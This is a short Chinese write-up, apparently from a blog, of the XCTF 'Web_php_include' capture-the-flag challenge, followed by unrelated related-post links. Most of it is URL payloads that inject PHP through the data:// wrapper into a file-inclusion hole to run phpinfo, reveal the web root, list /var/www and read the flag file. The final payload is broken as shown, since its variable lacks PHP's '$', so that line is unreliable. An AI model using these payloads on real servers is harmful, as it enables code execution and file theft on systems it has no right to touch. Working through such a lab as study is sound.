32.攻防世界Web_php_include

进入场景

echo $_GET['hello'] 直接将用户通过 GET 方法提交的 hello 参数值输出到页面上,这可能会导致 XSS(跨站脚本攻击)漏洞。

在下面的代码中,虽然对 page 中的 php:// 进行了替换处理,但是仍然存在文件包含漏洞的风险。如果我们能够通过 _GET['page'] 传入一个恶意的文件路径,就可能导致服务器上的任意文件被包含和执行

"file://"是一种用于指定本地文件系统中文件的URI(统一资源标识符)协议。通过"file://"协议,可以在浏览器或其他支持该协议的应用程序中访问本地文件

"data://"协议是 PHP 中的一种数据流协议,它允许将数据作为文件来读取。该协议的语法如下:data:(<mediatype>)(;base64),<data>,其中,<mediatype>是可选的媒体类型,<data>是数据内容。

测试

/?page=data://text/plain,<?php phpinfo()?>

目录路径

/?page=data://text/plain,<?php echo $_SERVER['DOCUMENT_ROOT']; ?>

目录文件

/?page=data://text/plain,<?php print_r(scandir('/var/www')); ?>

读取文件内容

/?page=data://text/plain,<?php a=file_get_contents('fl4gisisish3r3.php'); echo htmlspecialchars(a); ?>

相关推荐
应用市场2 小时前
图片格式完全指南——从JPEG到AVIF的技术原理与选型
网络·人工智能·安全·汽车
民乐团扒谱机2 小时前
【微实验】数模美赛备赛MATLAB实战:一文速通各种“马尔可夫”(Markov Model)
开发语言·人工智能·笔记·matlab·数据挖掘·马尔科夫链·线性系统
菜的不敢吱声2 小时前
swift学习第2,3天
python·学习·swift
宵时待雨2 小时前
数据结构(初阶)笔记归纳1:复杂度讲解
c语言·数据结构·笔记
l04090442222 小时前
想学习VLN相关的知识,并亲手搭建一套系统,该如何入手?
学习
今儿敲了吗2 小时前
第二章 C++对C的核心拓展
c++·笔记
weixin_433179333 小时前
《旋元佑进阶文法》之 句型
笔记·英语语法
山土成旧客3 小时前
【Python学习打卡-Day36】实战重构:用PyTorch神经网络升级信贷预测项目
python·学习·重构
麻雀无能为力3 小时前
VAE(变分自编码器 Variational Auto-Encoder)学习笔记
笔记·学习